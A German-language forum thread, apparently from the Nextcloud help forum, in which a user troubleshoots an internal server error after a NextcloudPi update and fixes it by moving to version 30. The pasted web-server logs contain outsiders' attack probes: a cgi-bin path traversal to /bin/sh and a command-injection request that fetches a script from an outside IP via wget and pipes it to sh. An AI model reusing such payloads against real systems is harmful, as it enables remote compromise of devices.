Nextcloud startet nach update im Browser nicht mehr

Hallo ich habe nach dem Update auf Hub Version 29.0.10 kann ich per Brouser nicht mehr zugreifen.

Ich erhalte immer die Meldung:

Interner Serverfehler

Der Server konnte die Anfrage nicht fertig stellen.

Sollte dies erneut auftreten, sende bitte die nachfolgenden technischen Einzelheiten an deinen Server-Administrator.

Weitere Details können im Server-Protokoll gefunden werden.

Technische Details

  • Entfernte Adresse: xxx.xxx.xx.xx
  • Anfragekennung: Z2WgcfkY7z57T0PWoYQKSAAARwY

NextcloudPi version v1.55.3

Kann mir jemand einen Rat geben

Gruß Josef

Der Server war schon so freundlich, einloggen per ssh und die Log-Dateien sichten.

  • Anmeldung erfolgt mit user/password?
  • User ncp auf port 4443? (ncp webui)
  • User ncp auf port 443? (nc admin account)
  • User auf port 443? (nc user account)
1 Like

Hallo geoW,
habe mich per ssh angemeldet und die Logdateien unter /var/log/*
gesichtet. Aber ich konnte keine Datei bzw Inhalt mit “Z2WgcfkY7z5” finden.

Was ist mit Serverprotokoll gemeint “Apache2” oder ?

Welches Server-Protokoll ist heir gemeint?

in der nc-error.log steht:
"[Sun Dec 22 19:00:07.217597 2024] [proxy_fcgi:error] [pid 110238:tid 110282] [client 127.0.0.1:52450] AH01071: Got error ‘PHP message: Old server found, restarting. Expected hash a4b67a7664 but found a4b67a76.’
[Sun Dec 22 19:00:12.701808 2024] [proxy_fcgi:error] [pid 110238:tid 110273] [client 192.168.12.59:35652] AH01071: Got error ‘PHP message: PHP Warning: file_get_contents(http://localhost:9983/hosting/capabilities): Failed to open stream: HTTP request failed! in /var/www/nextcloud/apps/richdocumentscode_arm64/proxy.php on line 268’
[Sun Dec 22 19:00:12.702406 2024] [proxy_fcgi:error] [pid 110306:tid 110342] [client 192.168.12.59:35654] AH01071: Got error ‘PHP message: PHP Warning: file_get_contents(http://localhost:9983/hosting/capabilities): Failed to open stream: HTTP request failed! in /var/www/nextcloud/apps/richdocumentscode_arm64/proxy.php on line 268’
[Sun Dec 22 19:00:29.343664 2024] [proxy_fcgi:error] [pid 110306:tid 110348] [client 192.168.12.59:33364] AH01071: Got error ‘PHP message: Old server found, restarting. Expected hash a4b67a7664 but found a4b67a76.’
[Sun Dec 22 19:05:12.797148 2024] [proxy_fcgi:error] [pid 110306:tid 110335] [client 192.168.12.59:36560] AH01071: Got error ‘PHP message: PHP Warning: file_get_contents(http://localhost:9983/hosting/capabilities): Failed to open stream: HTTP request failed! in /var/www/nextcloud/apps/richdocumentscode_arm64/proxy.php on line 268’
[Sun Dec 22 19:05:12.797668 2024] [proxy_fcgi:error] [pid 110238:tid 110286] [client 192.168.12.59:36558] AH01071: Got error ‘PHP message: PHP Warning: file_get_contents(http://localhost:9983/hosting/capabilities): Failed to open stream: HTTP request failed! in /var/www/nextcloud/apps/richdocumentscode_arm64/proxy.php on line 268’
"

in der error.log
“[Sun Dec 22 03:16:53.365009 2024] [core:error] [pid 110306:tid 110335] [client 47.237.6.119:56378] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)”

weit du wo das Backup bei dem update abgelegt wird bzw wie der Dateiname lautet.

Gruß Josef

Überscht Logs
List of Logs on NCP

Hier mal ein log eines updates eines test-servers, am Ende findest Du Namen und Speicherort der BackUp-Datei.

[ nc-update-nextcloud ] (Wed Oct 30 10:22:19 AM UTC 2024)

Running as unit: ncp-update-nc.service
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0
0 0 0 0 0 0 0 0 --:–:-- --:–:-- --:–:-- 0
100 799k 0 799k 0 0 940k 0 --:–:-- --:–:-- --:–:-- 941k
Current Nextcloud version 29.0.4
Requested Nextcloud version latest
Selected Nextcloud version 29.0.8
INFO: You have requested an update to ‘latest’, but a direct update to ‘latest’ cannot be performed, so the latest available version that can be updated to (29.0.8) has been selected automatically.
Download Nextcloud 29.0.8

Back up current instance

check free space

Maintenance mode enabled
backup database

backup files

backup /var/www/nextcloud-bkp_20241030_1730283802.tar.gz generated
Maintenance mode disabled
Storing backup at ‘/var/www/nextcloud-bkp_20241030_1730283802-29.0.4.tar.gz’

Install Nextcloud 29.0.8

Fix permissions

Upgrade

Nextcloud or one of the apps require upgrade - only a limited number of commands are available
You may use your browser or the occ upgrade command to do the upgrade
Setting log level to debug
Turned on maintenance mode
Updating database schema
Updated database
Disabled incompatible app: calendar
Disabled incompatible app: contacts
Disabled incompatible app: notes
Disabled incompatible app: notify_push
Disabled incompatible app: tasks
Updating 

Updated to 1.17.1
Updating 

Updated to 2.1.1
Starting code integrity check

Finished code integrity check
Update successful
Turned off maintenance mode
Resetting log level
Adding additional systag_by_objectid index to the oc_systemtag_object_mapping table, this can take some time

oc_systemtag_object_mapping table updated successfully.
Done.
Done.
All tables already up to date!

  • Repair MySQL collation
    • All tables already have the correct collation → nothing to do
  • Clean tags and favorites
    • 0 tags of deleted users have been removed.
    • 0 tags for delete files have been removed.
    • 0 tag entries for deleted tags have been removed.
    • 0 tags with no entries have been removed.
  • Repair invalid shares
  • Move .step file of updater to backup location
  • Add move avatar background job
    • Repair step already executed
  • Add preview cleanup background jobs
  • Migrate oauth2_clients table to nextcloud schema
    • Update the oauth2_access_tokens table schema.
    • Update the oauth2_clients table schema.
    • Delete clients (and their related access tokens) with the redirect_uri starting with oc:// or ending with *
  • Fix potential broken mount points
    • No mounts updated
  • Repair language codes
  • Add log rotate job
  • Clear frontend caches
    • Image cache cleared
    • JS cache cleared
  • Clear every generated avatar
  • Add preview background cleanup job
  • Queue a one-time job to cleanup old backups of the updater
  • Cleanup invalid photocache files for carddav
  • Add background job to cleanup login flow v2 tokens
  • Remove potentially over exposing share links
    • No need to remove link shares.
  • Clear access cache of projects
  • Reset generated avatar flag
  • Keep legacy encryption enabled
  • Check encryption key format
  • Remove old dashboard app config data
  • Add job to cleanup the bruteforce entries
  • Queue a one-time job to check for user uploaded certificates
  • Repair DAV shares
  • Add background job to set the lookup server share state for users
  • Add token cleanup job
  • Clean up abandoned apps
  • Add possibly missing system config
  • Add AI tasks cleanup job
  • Queue a job to generate metadata
  • migrate lazy config values
  • Cache logo dimension to fix size in emails on Outlook
    • Logo dimensions are already known
  • Remove shares of old group memberships
  • Repair mime types
  • Validate the phone number and store it in a known format for search
  • Handle outdated scheduling events
    • Cleaning up old scheduling events
    • Adding background job to delete old scheduling objects
  • Upgrading Circles App
  • Fix component of birthday calendars
    • 0 birthday calendars updated.
  • Regenerating birthday calendars to use new icons and fix old birthday events without year
    • Adding background jobs to regenerate birthday calendar
  • Fix broken values of calendar objects
    0 [>---------------------------]
  • Registering building of calendar search index as background job
    • Add background job
  • Register building of social profile search index as background job
  • Registering background jobs to update cache for webcal calendars
    • Added 0 background jobs to update webcal calendars
  • Registering building of calendar reminder index as background job
    • Add background job
  • Clean up orphan event and contact data
    • 0 events without a calendar have been cleaned up
    • 0 properties without an events have been cleaned up
    • 0 changes without a calendar have been cleaned up
    • 0 cached events without a calendar subscription have been cleaned up
    • 0 changes without a calendar subscription have been cleaned up
    • 0 contacts without an addressbook have been cleaned up
    • 0 properties without a contact have been cleaned up
    • 0 changes without an addressbook have been cleaned up
  • Remove activity entries of private events
    • Removed 0 activity entries
  • Clean up old calendar subscriptions from deleted users that were not cleaned-up
    0 [->--------------------------]
    • 0 calendar subscriptions without an user have been cleaned up
  • Remove invalid object properties
    • 0 invalid object properties removed.
  • Fix the share type of guest shares when migrating from ownCloud
  • Copy the share password into the dedicated column
  • Set existing shares as accepted
  • Clean up meta table
  • Show a hint about the new editor to existing users
  • Set binary permissions
  • Update OAuth token expiration times
  • init metadata
  • Switches from default updater server to the customer one if a valid subscription is available
  • Send an admin notification if monthly report is disabled
  • Force-reset all Text document sessions
  • Initialize migration of background images from dashboard to theming app
  • Add background job to check for backup codes
  • Populating added database structures for workflows
    Update completed successfully.
    Backup stored at /opt/ncdata/data/ncp-update-backups/nextcloud-bkp_20241030_1730283802-29.0.4.tar.gz
    Clean up

    Nextcloud update finished successfully.

Da es um den fehlgeschlagenen Anmeldeprozeß handelt, versuche in den Logs Zeiklen mit dem Browser Namen zu finden (bsp. Mozilla).

Die Protokolle des Webserver, hast du eine “normale” Anmeldung oder benutzt Du ausgefeiltere Zugangsdaten?

Egalt ob ich micosoft Edge oder fierfox oder Safari verwende es kommt immer der gleiche Fehler. Egal ob WindowsPC oder Ipad es kommt immer der gleiche Fehler.

Ich verwende eine normale einfache Anmeldung.

Backup habe ich gefunden. Danke fĂŒr den Tip.

Ich bin etwas Begriff stutzig, vielleicht könntest Du einen Screenshot vom Browserfenster hochladen?
Den Server nach dem Update schon mal gebootet?

Den Server habe ich schon mehrmals gestartet.

Die Meldung entstand letzte Nacht um 03:16 Uhr, als jemand von außen versuchte, die Shell zu starten. Mit Deinem Problem hat es nichts zu tun.
Das entscheidende Log ist/sind die mit “access.log”, wobei es je nach Konfiguration mehrere Dateien sein können.

Ja, danke, den kannte ich noch nicht, ja wie @Mornsgrans schreibt, es bleiben die logs.

sudo cat /var/log/auth.log

z.B.

Es gibt nur einen Datei: other_vhosts_access.log

localhost:80 103.203.56.2 - - [22/Dec/2024:20:13:45 +0100] “GET / HTTP/1.1” 302 466 “-” “HTTP Banner Detection (https://security.ipip.net)”
localhost:80 141.98.11.155 - - [22/Dec/2024:20:31:30 +0100] “GET / HTTP/1.1” 302 447 “-” “-”
localhost:80 31.220.1.144 - - [22/Dec/2024:20:37:12 +0100] “GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.87.69%2Ft±O-+|+sh%60) HTTP/1.1” 302 699 “-” “Go-http-client/1.1”
localhost:80 95.214.55.79 - - [22/Dec/2024:20:51:28 +0100] “GET / HTTP/1.1” 302 503 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46”
localhost:80 95.214.55.43 - - [22/Dec/2024:21:07:50 +0100] “GET / HTTP/1.1” 302 503 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46”
localhost:80 40.85.155.154 - - [22/Dec/2024:21:19:23 +0100] “MGLNDD_79.225.206.186_80\n” 400 456 “-” “-”
localhost:80 31.220.1.144 - - [22/Dec/2024:21:23:54 +0100] “GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.87.69%2Ft±O-+|+sh%60) HTTP/1.1” 302 699 “-” “Go-http-client/1.1”
localhost:80 185.224.128.43 - - [22/Dec/2024:21:53:40 +0100] “\x16\x03\x01” 400 456 “-” “-”
localhost:80 185.224.128.43 - - [22/Dec/2024:21:53:40 +0100] “GET / HTTP/1.1” 302 466 “-” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.18”
localhost:80 141.98.11.155 - - [22/Dec/2024:22:10:51 +0100] “GET / HTTP/1.1” 302 447 “-” “-”
ro

Letztn Zeilen der auth.log

2024-12-22T22:20:01.893845+01:00 nextcloudpi CRON[189812]: pam_unix(cron:session): session opened for user www-data(uid=33) by (uid=0)
2024-12-22T22:20:23.641324+01:00 nextcloudpi CRON[189812]: pam_unix(cron:session): session closed for user www-data
2024-12-22T22:25:01.664699+01:00 nextcloudpi CRON[190034]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2024-12-22T22:25:01.666550+01:00 nextcloudpi CRON[190035]: pam_unix(cron:session): session opened for user www-data(uid=33) by (uid=0)
2024-12-22T22:25:01.682022+01:00 nextcloudpi CRON[190034]: pam_unix(cron:session): session closed for user root
2024-12-22T22:25:25.582009+01:00 nextcloudpi CRON[190035]: pam_unix(cron:session): session closed for user www-data
2024-12-22T22:30:01.600430+01:00 nextcloudpi CRON[190360]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2024-12-22T22:30:01.603598+01:00 nextcloudpi CRON[190361]: pam_unix(cron:session): session opened for user www-data(uid=33) by (uid=0)
2024-12-22T22:30:01.670057+01:00 nextcloudpi CRON[190360]: pam_unix(cron:session): session closed for user root
2024-12-22T22:30:23.998463+01:00 nextcloudpi CRON[190361]: pam_unix(cron:session): session closed for user www-data

hallo hier der Auszug aus der nextcloud.log

{“reqId”:“Z2iK-N6mn7Q57mGi6_GthgAAAFA”,“level”:3,“time”:“2024-12-22T21:56:08+00:00”,“remoteAddr”:“192.168.xx.xx”,“user”:“xxxx”,“app”:“PHP”,“method”:“GET”,“url”:“/ocs/v2.php/apps/user_status/api/v1/user_status?format=json”,“message”:“unlink(/opt/ncdata/data/appdata_ocanoaqmt0s5/richdocuments/remoteData/capabilities): No such file or directory at /var/www/nextcloud/lib/private/Files/Storage/Local.php#348”,“userAgent”:“Mozilla/5.0 (Windows) mirall/3.15.2 (build 20241216) (Nextcloud, windows-10.0.19045 ClientArchitecture: x86_64 OsArchitecture: x86_64)”,“version”:“29.0.10.1”,“data”:{“app”:“PHP”}}
{“reqId”:“Z2iLNBlPU582bJpBRWfTBQAAAJA”,“level”:3,“time”:“2024-12-22T21:57:13+00:00”,“remoteAddr”:“192.168.xx/168.xx”,“user”:“xxxx”,“app”:“PHP”,“method”:“GET”,“url”:“/ocs/v2.php/apps/notifications/api/v2/notifications?format=json”,“message”:“Trying to access array offset on value of type null at /var/www/nextcloud/apps/richdocuments/lib/Service/CachedRequestService.php#144”,“userAgent”:“Mozilla/5.0 (Windows) mirall/3.15.2 (build 20241216) (Nextcloud, windows-10.0.19045 ClientArchitecture: x86_64 OsArchitecture: x86_64)”,“version”:“29.0.10.1”,“data”:{“app”:“PHP”}}
{“reqId”:“Z2iLNBlPU582bJpBRWfTBQAAAJA”,“level”:3,“time”:“2024-12-22T21:57:13+00:00”,“remoteAddr”:“192.168.xx.xx”,“user”:“xxxx”,“app”:“PHP”,“method”:“GET”,“url”:“/ocs/v2.php/apps/notifications/api/v2/notifications?format=json”,“message”:“Trying to access array offset on value of type null at /var/www/nextcloud/apps/richdocuments/lib/Service/CachedRequestService.php#145”,“userAgent”:“Mozilla/5.0 (Windows) mirall/3.15.2 (build 20241216) (Nextcloud, windows-10.0.19045 ClientArchitecture: x86_64 OsArchitecture: x86_64)”,“version”:“29.0.10.1”,“data”:{“app”:“PHP”}}
{“reqId”:“Z2iLNBlPU582bJpBRWfTBQAAAJA”,“level”:3,“time”:“2024-12-22T21:57:13+00:00”,“remoteAddr”:“192.168.xx.xx”,“user”:“xxxx”,“app”:“PHP”,“method”:“GET”,“url”:“/ocs/v2.php/apps/notifications/api/v2/notifications?format=json”,“message”:“Trying to access array offset on value of type null at /var/www/nextcloud/apps/richdocuments/lib/Service/CachedRequestService.php#146”,“userAgent”:“Mozilla/5.0 (Windows) mirall/3.15.2 (build 20241216) (Nextcloud, windows-10.0.19045 ClientArchitecture: x86_64 OsArchitecture: x86_64)”,“version”:“29.0.10.1”,“data”:{“app”:“PHP”}}
root@nextcloudpi:/opt/ncdata/data#

Da sehe ich jetzt auch keine Lösung, es mĂŒssen noch apache2 logs geprĂŒft werden.
Dann mĂŒssen wir uns das setup der Instanz nĂ€her anschauen.
sudo ncp-config
system → info

Running nc-info
Gathering information

Cannot load Zend OPcache - it was already loaded
Cannot load Zend OPcache - it was already loaded
NextcloudPi version v1.55.3
NextcloudPi image
OS Armbian 24.11.2 bookworm \l . 6.6.63-current-bcm2711 (aarch64)
automount no
USB devices sda
datadir /opt/ncdata/data
data in SD yes
data filesystem ext2/ext3
data disk usage 426G/470G
rootfs usage 426G/470G
swapfile /var/swap
dbdir /var/lib/mysql
Nextcloud check ok
Nextcloud version 29.0.10.1
HTTPD service up
PHP service up
MariaDB service up
Redis service up
HPB service up
Postfix service up
Internet check ok
Public IPv4 xxx.xxx.xxx.xxx
Public IPv6 xxxx:xx:xxx:xxx:xxxx:e2e0:acea:67f4
Port 80 open
Port 443 open
IP 192.168.xx.xx
Gateway 192.168.xx.xx
Interface end0
Certificates xxxx.xxx.de
NAT loopback no
Uptime 2days

Cannot load Zend OPcache - it was already loaded

You should use nc-datadir to move your files to your plugged in USB drive

You should enable automount to use your plugged in USB drive
Done. Press any key


Soll ich einfach einen Update auf die Version 30.x machen.
Über die Apps komme ich ja auf die NCP

Der Log Auszug passt schon mal zur Fehlermeldung.

Interner Serverfehler Der Server konnte die Anfrage nicht fertig stellen. Technische Details
Entfernte Adresse:  Antragekennung: 

Eine Suche hiermit fördert zahlreiche Leidensgenossen zu Tage, da kannst Du weiter stöbern.
Weitere Informationen zum SetUp.

php -v
sudo ncc setupchecks
curl -vv [-k --insecure] https://

ncp-config → tools könnte man den op-cache löschen,
Die Meldung ĂŒber den bereits lgeladenen cache erledigt:

sudo rm /etc/php/8.3/*/conf.d/20-opcache.ini

Entsprechende php version beachten.

Das kann man mit guten BackUps, machen. Ist aber eher ein Akt der Verzweiflung. ich wÀre dann soweit. :smiley:

so jetzt habe ich den Schritt nach 30.0.4 gewagt und siehe da es funktioniert wieder :grinning:

Vermutlich durch die neue php Version 8.3.

Nochmals vielen Dank an alle
und Fohe Weihnachten :christmas_tree:

Josef